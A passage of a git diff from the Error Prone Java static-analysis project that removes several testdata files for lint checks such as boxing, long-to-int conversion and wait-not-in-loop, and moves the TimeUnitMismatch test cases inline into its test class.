- - private static class foo {} - - public void foo(int x, int y) {} - - public void bar() {} - - public static final String BAZ = "baz"; - - public void foo(int x, int y, int z) {} - - public void quux() {} - - public void quux(int x) {} - - public static final int X = 0; - public static final int Y = 1; - - public void quux(int x, int y) {} - - private int quux; - - public void norf() {} - - public void quux(int x, int y, int z) {} - - public void thud() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple_expected.java deleted file mode 100644 index bfe0c78341f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UngroupedOverloadsRefactoringMultiple_expected.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author hanuszczak@google.com (Łukasz Hanuszczak) - */ -class UngroupedOverloadsRefactoringMultiple { - - public void foo() {} - - public void foo(int x) {} - - public void foo(int x, int y) {} - - public void foo(int x, int y, int z) {} - - private static class foo {} - - public void bar() {} - - public static final String BAZ = "baz"; - - public void quux() {} - - public void quux(int x) {} - - public void quux(int x, int y) {} - - public void quux(int x, int y, int z) {} - - public static final int X = 0; - public static final int Y = 1; - - private int quux; - - public void norf() {} - - public void thud() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases.java deleted file mode 100644 index 501a303e143..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.function.Function; - -/** - * @author awturner@google.com (Andy Turner) - */ -class UnnecessaryBoxedAssignmentCases { - void negative_void() { - return; - } - - boolean positive_booleanPrimitive(boolean aBoolean) { - return Boolean.valueOf(aBoolean); - } - - Boolean positive_booleanWrapped(boolean aBoolean) { - Boolean b = Boolean.valueOf(aBoolean); - return Boolean.valueOf(aBoolean); - } - - Boolean negative_booleanString(String aString) { - Boolean b = Boolean.valueOf(aString); - return Boolean.valueOf(aString); - } - - byte positive_bytePrimitive(byte aByte) { - return Byte.valueOf(aByte); - } - - Byte positive_byteWrapped(byte aByte) { - Byte b = Byte.valueOf(aByte); - return Byte.valueOf(aByte); - } - - Byte negative_byteString(String aString) { - Byte b = Byte.valueOf(aString); - return Byte.valueOf(aString); - } - - int positive_integerPrimitive(int aInteger) { - return Integer.valueOf(aInteger); - } - - Integer positive_integerWrapped(int aInteger) { - Integer i = Integer.valueOf(aInteger); - return Integer.valueOf(aInteger); - } - - Integer negative_integerString(String aString) { - Integer i = Integer.valueOf(aString); - return Integer.valueOf(aString); - } - - Long negative_integerWrapped(int aInteger) { - Long aLong = Long.valueOf(aInteger); - return Long.valueOf(aInteger); - } - - Integer positive_wrappedAgain(int aInteger) { - Integer a = Integer.valueOf(aInteger); - a = Integer.valueOf(aInteger); - return Integer.valueOf(a); - } - - void negative_methodReference() { - Function toBoolean = Boolean::valueOf; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases_expected.java deleted file mode 100644 index fc3fd40fd30..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedAssignmentCases_expected.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.function.Function; - -/** - * @author awturner@google.com (Andy Turner) - */ -class UnnecessaryBoxedAssignmentCases { - void negative_void() { - return; - } - - boolean positive_booleanPrimitive(boolean aBoolean) { - return aBoolean; - } - - Boolean positive_booleanWrapped(boolean aBoolean) { - Boolean b = aBoolean; - return aBoolean; - } - - Boolean negative_booleanString(String aString) { - Boolean b = Boolean.valueOf(aString); - return Boolean.valueOf(aString); - } - - byte positive_bytePrimitive(byte aByte) { - return aByte; - } - - Byte positive_byteWrapped(byte aByte) { - Byte b = aByte; - return aByte; - } - - Byte negative_byteString(String aString) { - Byte b = Byte.valueOf(aString); - return Byte.valueOf(aString); - } - - int positive_integerPrimitive(int aInteger) { - return aInteger; - } - - Integer positive_integerWrapped(int aInteger) { - Integer i = aInteger; - return aInteger; - } - - Integer negative_integerString(String aString) { - Integer i = Integer.valueOf(aString); - return Integer.valueOf(aString); - } - - Long negative_integerWrapped(int aInteger) { - Long aLong = Long.valueOf(aInteger); - return Long.valueOf(aInteger); - } - - Integer positive_wrappedAgain(int aInteger) { - Integer a = aInteger; - a = aInteger; - return a; - } - - void negative_methodReference() { - Function toBoolean = Boolean::valueOf; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases.java deleted file mode 100644 index 0a193c3014f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases.java +++ /dev/null @@ -1,216 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; - -import java.util.List; -import java.util.stream.Stream; -import org.jspecify.annotations.Nullable; - -/** - * @author awturner@google.com (Andy Turner) - */ -class UnnecessaryBoxedVariableCases { - void positive_local() { - Integer i = 0; - } - - int positive_local_return() { - Integer i = 0; - return i; - } - - Integer positive_local_addition() { - Integer i = 0; - return i + 1; - } - - void positive_local_compoundAddition(Integer addend) { - Integer i = 0; - i += addend; - - int j = 0; - j += i; - } - - void positive_methodInvocation() { - Integer i = 0; - methodPrimitiveArg(i); - } - - void negative_methodInvocation() { - Integer i = 0; - methodBoxedArg(i); - } - - void positive_assignedValueOf() { - Integer i = Integer.valueOf(0); - } - - int positive_assignedValueOf_return() { - Integer i = Integer.valueOf(0); - return i; - } - - int positive_noInitializer() { - Integer i; - i = 0; - return i; - } - - void negative_enhancedForLoopOverCollection(List list) { - for (Integer i : list) {} - } - - void negative_enhancedForLoopOverWrappedArray(Integer[] array) { - for (Integer i : array) {} - } - - void positive_enhancedForLoopOverPrimitiveArray(int[] array) { - for (Integer i : array) {} - } - - final void negative_invokeMethod(Integer i) throws InterruptedException { - i.wait(0); - } - - final Object[] negative_objectArray(Long l) { - return new Object[] {"", l}; - } - - void negative_null() { - Integer i = null; - } - - void negative_null_noInitializer() { - Integer i; - i = null; - i = 0; - } - - void negative_null_reassignNull() { - Integer i = 0; - i = null; - } - - void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) { - for (Integer i : array) { - i = null; - } - } - - void negative_boxedVoid() { - Void v; - } - - int negative_assignmentInReturn() { - Integer myVariable; - return myVariable = methodBoxedArg(42); - } - - int positive_assignmentInReturn() { - Integer myVariable; - return myVariable = Integer.valueOf(42); - } - - int positive_assignmentInReturn2() { - Integer myVariable; - return myVariable = Integer.valueOf(42); - } - - int positive_hashCode() { - Integer myVariable = 0; - return myVariable.hashCode(); - } - - short positive_castMethod() { - Integer myVariable = 0; - return myVariable.shortValue(); - } - - int positive_castMethod_sameType() { - Integer myVariable = 0; - return myVariable.intValue(); - } - - void positive_castMethod_statementExpression() { - Integer myVariable = 0; - myVariable.longValue(); - } - - void negative_methodReference() { - Integer myVariable = 0; - Stream stream = Stream.of(1).filter(myVariable::equals); - } - - static void positive_parameter_staticMethod(Boolean b) { - boolean a = b; - } - - static void negative_parameter_staticMethod(Boolean b) { - System.out.println("a " + b); - } - - static boolean positive_parameter_returnType(Boolean b) { - return b; - } - - void negative_parameter_instanceMethod_nonFinal(Boolean b) { - boolean a = b; - } - - final void negative_parameter_instanceMethod_final(Boolean b) { - boolean a = b; - } - - static void negative_parameter_unused(Integer i) {} - - static void positive_removeNullable_parameter(@Nullable Integer i) { - int j = i; - } - - static void positive_removeNullable_localVariable() { - @Nullable Integer i = 0; - @org.jspecify.annotations.Nullable Integer j = 0; - int k = i + j; - } - - static int positive_nullChecked_expression(Integer i) { - return checkNotNull(i); - } - - static int positive_nullChecked_expression_message(Integer i) { - return checkNotNull(i, "Null: [%s]", i); - } - - static int positive_nullChecked_statement(Integer i) { - checkNotNull(i); - return i; - } - - static int positive_nullChecked_statement_message(Integer i) { - checkNotNull(i, "Null: [%s]", i); - return i; - } - - private void methodPrimitiveArg(int i) {} - - private Integer methodBoxedArg(Integer i) { - return i; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases_expected.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases_expected.java deleted file mode 100644 index 7ef2a847d3a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryBoxedVariableCases_expected.java +++ /dev/null @@ -1,211 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; - -import java.util.List; -import java.util.stream.Stream; -import org.jspecify.annotations.Nullable; - -/** @author awturner@google.com (Andy Turner) */ -class UnnecessaryBoxedVariableCases { - void positive_local() { - int i = 0; - } - - int positive_local_return() { - int i = 0; - return i; - } - - Integer positive_local_addition() { - int i = 0; - return i + 1; - } - - void positive_local_compoundAddition(Integer addend) { - int i = 0; - i += addend; - - int j = 0; - j += i; - } - - void positive_methodInvocation() { - int i = 0; - methodPrimitiveArg(i); - } - - void negative_methodInvocation() { - Integer i = 0; - methodBoxedArg(i); - } - - void positive_assignedValueOf() { - int i = Integer.valueOf(0); - } - - int positive_assignedValueOf_return() { - int i = Integer.valueOf(0); - return i; - } - - int positive_noInitializer() { - int i; - i = 0; - return i; - } - - void negative_enhancedForLoopOverCollection(List list) { - for (Integer i : list) {} - } - - void negative_enhancedForLoopOverWrappedArray(Integer[] array) { - for (Integer i : array) {} - } - - void positive_enhancedForLoopOverPrimitiveArray(int[] array) { - for (int i : array) {} - } - - final void negative_invokeMethod(Integer i) throws InterruptedException { - i.wait(0); - } - - final Object[] negative_objectArray(Long l) { - return new Object[] {"", l}; - } - - void negative_null() { - Integer i = null; - } - - void negative_null_noInitializer() { - Integer i; - i = null; - i = 0; - } - - void negative_null_reassignNull() { - Integer i = 0; - i = null; - } - - void negative_enhancedForLoopOverPrimitiveArray_assignInLoop(int[] array) { - for (Integer i : array) { - i = null; - } - } - - void negative_boxedVoid() { - Void v; - } - - int negative_assignmentInReturn() { - Integer myVariable; - return myVariable = methodBoxedArg(42); - } - - int positive_assignmentInReturn() { - int myVariable; - return myVariable = Integer.valueOf(42); - } - - int positive_assignmentInReturn2() { - int myVariable; - return myVariable = Integer.valueOf(42); - } - - int positive_hashCode() { - int myVariable = 0; - return Integer.hashCode(myVariable); - } - - short positive_castMethod() { - int myVariable = 0; - return (short) myVariable; - } - - int positive_castMethod_sameType() { - int myVariable = 0; - return myVariable; - } - - void positive_castMethod_statementExpression() { - int myVariable = 0; - } - - void negative_methodReference() { - Integer myVariable = 0; - Stream stream = Stream.of(1).filter(myVariable::equals); - } - - static void positive_parameter_staticMethod(boolean b) { - boolean a = b; - } - - static void negative_parameter_staticMethod(Boolean b) { - System.out.println("a " + b); - } - - static boolean positive_parameter_returnType(boolean b) { - return b; - } - - void negative_parameter_instanceMethod_nonFinal(Boolean b) { - boolean a = b; - } - - final void negative_parameter_instanceMethod_final(boolean b) { - boolean a = b; - } - - static void negative_parameter_unused(Integer i) {} - - static void positive_removeNullable_parameter(int i) { - int j = i; - } - - static void positive_removeNullable_localVariable() { - int i = 0; - int j = 0; - int k = i + j; - } - - static int positive_nullChecked_expression(int i) { - return i; - } - - static int positive_nullChecked_expression_message(int i) { - return i; - } - - static int positive_nullChecked_statement(int i) { - return i; - } - - static int positive_nullChecked_statement_message(int i) { - return i; - } - - private void methodPrimitiveArg(int i) {} - - private Integer methodBoxedArg(Integer i) { - return i; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionNegativeCases.java deleted file mode 100644 index b0b5cdfcfab..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionNegativeCases.java +++ /dev/null @@ -1,122 +0,0 @@ -/* - * Copyright 2022 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.primitives.Ints; - -/** Negative cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */ -public class UnnecessaryLongToIntConversionNegativeCases { - - static void acceptsLong(long value) {} - - static void acceptsInt(int value) {} - - static void acceptsMultipleParams(int intValue, long longValue) {} - - // Converting from a long or Long to an Integer type requires first converting to an int. This is - // out of scope. - public void longToIntegerForLongParam() { - long x = 1; - acceptsLong(Integer.valueOf((int) x)); - } - - public void longObjectToIntegerForLongParam() { - Long x = Long.valueOf(1); - acceptsLong(Integer.valueOf(x.intValue())); - } - - public void longParameterAndLongArgument() { - long x = 1; - acceptsLong(x); - } - - public void longParameterAndIntArgument() { - int i = 1; - acceptsLong(i); - } - - public void longParameterAndIntegerArgument() { - Integer i = Integer.valueOf(1); - acceptsLong(i); - } - - public void castIntToLong() { - int i = 1; - acceptsLong((long) i); - } - - public void castLongToIntForIntParameter() { - long x = 1; - acceptsInt((int) x); - } - - public void longValueOfLongObject() { - Long x = Long.valueOf(1); - acceptsLong(x.longValue()); - } - - public void longValueOfInteger() { - Integer i = Integer.valueOf(1); - acceptsLong(i.longValue()); - } - - public void intValueOfInteger() { - Integer i = Integer.valueOf(1); - acceptsLong(i.intValue()); - } - - public void intValueForIntParameter() { - Long x = Long.valueOf(1); - acceptsInt(x.intValue()); - } - - public void checkedCastOnInt() { - int i = 1; - acceptsLong(Ints.checkedCast(i)); - } - - public void checkedCastOnInteger() { - Integer i = Integer.valueOf(1); - acceptsLong(Ints.checkedCast(i)); - } - - public void checkedCastForIntParameter() { - long x = 1; - acceptsInt(Ints.checkedCast(x)); - } - - public void checkedCastMultipleArgs() { - long x = 1; - // The method expects an int for the first parameter and a long for the second parameter. - acceptsMultipleParams(Ints.checkedCast(x), x); - } - - public void toIntExactOnInt() { - int i = 1; - acceptsLong(Math.toIntExact(i)); - } - - public void toIntExactOnInteger() { - Integer i = Integer.valueOf(1); - acceptsLong(Math.toIntExact(i)); - } - - public void toIntExactForIntParameter() { - long x = 1; - acceptsInt(Math.toIntExact(x)); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionPositiveCases.java deleted file mode 100644 index 43af8871a22..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnnecessaryLongToIntConversionPositiveCases.java +++ /dev/null @@ -1,77 +0,0 @@ -/* - * Copyright 2022 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.primitives.Ints; - -/** Positive cases for {@link com.google.errorprone.bugpatterns.UnnecessaryLongToIntConversion}. */ -public class UnnecessaryLongToIntConversionPositiveCases { - - static void acceptsLong(long value) {} - - static void acceptsMultipleParams(int intValue, long longValue) {} - - public void longToIntForLongParam() { - long x = 1; - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong((int) x); - } - - public void longObjectToIntForLongParam() { - Long x = Long.valueOf(1); - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(x.intValue()); - } - - public void convertMultipleArgs() { - long x = 1; - // The method expects an int for the first parameter and a long for the second parameter. - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsMultipleParams(Ints.checkedCast(x), Ints.checkedCast(x)); - } - - // The following test cases test various conversion methods, including an unchecked cast. - public void castToInt() { - long x = 1; - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong((int) x); - } - - public void checkedCast() { - long x = 1; - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(Ints.checkedCast(x)); - } - - public void toIntExact() { - long x = 1; - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(Math.toIntExact(x)); - } - - public void toIntExactWithLongObject() { - Long x = Long.valueOf(1); - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(Math.toIntExact(x)); - } - - public void intValue() { - Long x = Long.valueOf(1); - // BUG: Diagnostic contains: UnnecessaryLongToIntConversion - acceptsLong(x.intValue()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnsafeReflectiveConstructionCastNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnsafeReflectiveConstructionCastNegativeCases.java deleted file mode 100644 index c5bec8897e6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/UnsafeReflectiveConstructionCastNegativeCases.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * Negative cases for {@link UnsafeReflectiveConstructionCast}. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class UnsafeReflectiveConstructionCastNegativeCases { - - public String newInstanceDirectCall() throws Exception { - return (String) Class.forName("java.lang.String").newInstance(); - } - - public String newInstanceDirectlyOnClassAndGetDeclaredConstructor() throws Exception { - return (String) String.class.getDeclaredConstructor().newInstance(); - } - - public String newInstanceDirectlyOnClassAndNewInstance() throws Exception { - return (String) String.class.newInstance(); - } - - public String invocationWithAsSubclass() throws Exception { - return Class.forName("java.lang.String").asSubclass(String.class).newInstance(); - } - - public class Supplier { - public T get(String className) { - try { - return (T) Class.forName(className).getDeclaredConstructor().newInstance(); - } catch (ReflectiveOperationException e) { - throw new IllegalStateException(e); - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/WaitNotInLoopNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/WaitNotInLoopNegativeCases.java deleted file mode 100644 index f4b38d7bbdf..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/WaitNotInLoopNegativeCases.java +++ /dev/null @@ -1,111 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - *

TODO(eaftan): Add test cases for enhanced for loop, loop outside synchronized block. - */ -public class WaitNotInLoopNegativeCases { - - boolean flag = true; - - public void test1() { - synchronized (this) { - while (!flag) { - try { - wait(); - } catch (InterruptedException e) { - } - } - } - } - - public void test2() { - synchronized (this) { - while (!flag) { - try { - wait(1000); - } catch (InterruptedException e) { - } - } - } - } - - public void test3() { - synchronized (this) { - while (!flag) { - try { - wait(1000, 1000); - } catch (InterruptedException e) { - } - } - } - } - - // This code is incorrect, but this check should not flag it. - public void testLoopNotInSynchronized() { - while (!flag) { - synchronized (this) { - try { - wait(); - } catch (InterruptedException e) { - } - } - } - } - - public void testDoLoop() { - synchronized (this) { - do { - try { - wait(); - } catch (InterruptedException e) { - } - } while (!flag); - } - } - - public void testForLoop() { - synchronized (this) { - for (; !flag; ) { - try { - wait(); - } catch (InterruptedException e) { - } - } - } - } - - public void testEnhancedForLoop() { - int[] arr = new int[100]; - synchronized (this) { - for (int i : arr) { - try { - wait(); - } catch (InterruptedException e) { - } - } - } - } - - private void wait(Object obj) {} - - public void testNotObjectWait() { - wait(new Object()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatchTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatchTest.java index 8f9b000d385..ae4af662530 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatchTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/time/TimeUnitMismatchTest.java @@ -38,12 +38,184 @@ public class TimeUnitMismatchTest { @Test public void testPositiveCase() { - compilationHelper.addSourceFile("testdata/TimeUnitMismatchPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "TimeUnitMismatchPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.time.testdata; + + import static java.util.concurrent.TimeUnit.NANOSECONDS; + + import java.util.Optional; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class TimeUnitMismatchPositiveCases { + int startMicros; + int stopMillis; + + void fields() { + // BUG: Diagnostic contains: expected microseconds but was milliseconds + startMicros = stopMillis; + + // BUG: Diagnostic contains: If it instead means microseconds + startMicros = stopMillis; + + // BUG: Diagnostic contains: MILLISECONDS.toMicros(stopMillis) + startMicros = stopMillis; + } + + void memberSelect() { + // BUG: Diagnostic contains: expected microseconds but was milliseconds + this.startMicros = this.stopMillis; + } + + void locals() { + int millis = 0; + // BUG: Diagnostic contains: expected microseconds but was milliseconds + startMicros = millis; + } + + long getMicros() { + return 0; + } + + void returns() { + // BUG: Diagnostic contains: expected nanoseconds but was microseconds + long fooNano = getMicros(); + } + + void doSomething(double startSec, double endSec) {} + + void setMyMillis(int timeout) {} + + void args() { + double ms = 0; + double ns = 0; + // BUG: Diagnostic contains: expected seconds but was milliseconds + doSomething(ms, ns); + // BUG: Diagnostic contains: expected seconds but was nanoseconds + doSomething(ms, ns); + + // BUG: Diagnostic contains: expected milliseconds but was nanoseconds + setMyMillis((int) ns); + } + + void timeUnit() { + int micros = 0; + // BUG: Diagnostic contains: expected nanoseconds but was microseconds + NANOSECONDS.toMillis(micros); + } + + class Foo { + Foo(long seconds) {} + } + + void constructor() { + int nanos = 0; + // BUG: Diagnostic contains: expected seconds but was nanoseconds + new Foo(nanos); + } + + void boxed() { + Long nanos = 0L; + // BUG: Diagnostic contains: expected milliseconds but was nanoseconds + long millis = nanos; + } + + void optionalGet() { + Optional maybeNanos = Optional.of(0L); + // BUG: Diagnostic contains: expected milliseconds but was nanoseconds + long millis = maybeNanos.get(); + } + }""") + .doTest(); } @Test public void testNegativeCase() { - compilationHelper.addSourceFile("testdata/TimeUnitMismatchNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "TimeUnitMismatchNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.time.testdata; + + import static java.util.concurrent.TimeUnit.NANOSECONDS; + + import java.util.Optional; + + /** + * @author cpovirk@google.com (Chris Povirk) + */ + public class TimeUnitMismatchNegativeCases { + static final int THE_MILLIS = 0; + int startMillis; + int stopMillis; + + void fields() { + startMillis = THE_MILLIS; + + startMillis = stopMillis; + } + + void memberSelect() { + this.startMillis = this.stopMillis; + } + + void locals() { + int millis = 0; + startMillis = millis; + } + + long getMicros() { + return 0; + } + + void returns() { + long fooUs = getMicros(); + } + + void doSomething(double startSec, double endSec) {} + + void args() { + double seconds = 0; + doSomething(seconds, seconds); + } + + void timeUnit() { + int nanos = 0; + NANOSECONDS.toMillis(nanos); + } + + class Foo { + Foo(long seconds) {} + } + + void constructor() { + int seconds = 0; + new Foo(seconds); + } + + String milliseconds() { + return "0"; + } + + void nonNumeric() { + String seconds = milliseconds(); + } + + void boxed() { + Long startNanos = 0L; + long endNanos = startNanos; + } + + void optionalGet() { + Optional maybeNanos = Optional.of(0L); + long nanos = maybeNanos.get(); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchNegativeCases.java deleted file mode 100644 index 37730823b75..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchNegativeCases.java +++ /dev/null @@ -1,92 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.time.testdata; - -import static java.util.concurrent.TimeUnit.NANOSECONDS; - -import java.util.Optional; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class TimeUnitMismatchNegativeCases { - static final int THE_MILLIS = 0; - int startMillis; - int stopMillis; - - void fields() { - startMillis = THE_MILLIS; - - startMillis = stopMillis; - } - - void memberSelect() { - this.startMillis = this.stopMillis; - } - - void locals() { - int millis = 0; - startMillis = millis; - } - - long getMicros() { - return 0; - } - - void returns() { - long fooUs = getMicros(); - } - - void doSomething(double startSec, double endSec) {} - - void args() { - double seconds = 0; - doSomething(seconds, seconds); - } - - void timeUnit() { - int nanos = 0; - NANOSECONDS.toMillis(nanos); - } - - class Foo { - Foo(long seconds) {} - } - - void constructor() { - int seconds = 0; - new Foo(seconds); - } - - String milliseconds() { - return "0"; - } - - void nonNumeric() { - String seconds = milliseconds(); - } - - void boxed() { - Long startNanos = 0L; - long endNanos = startNanos; - } - - void optionalGet() { - Optional maybeNanos = Optional.of(0L); - long nanos = maybeNanos.get(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchPositiveCases.java deleted file mode 100644 index c306279d823..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/time/testdata/TimeUnitMismatchPositiveCases.java +++ /dev/null @@ -1,104 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * 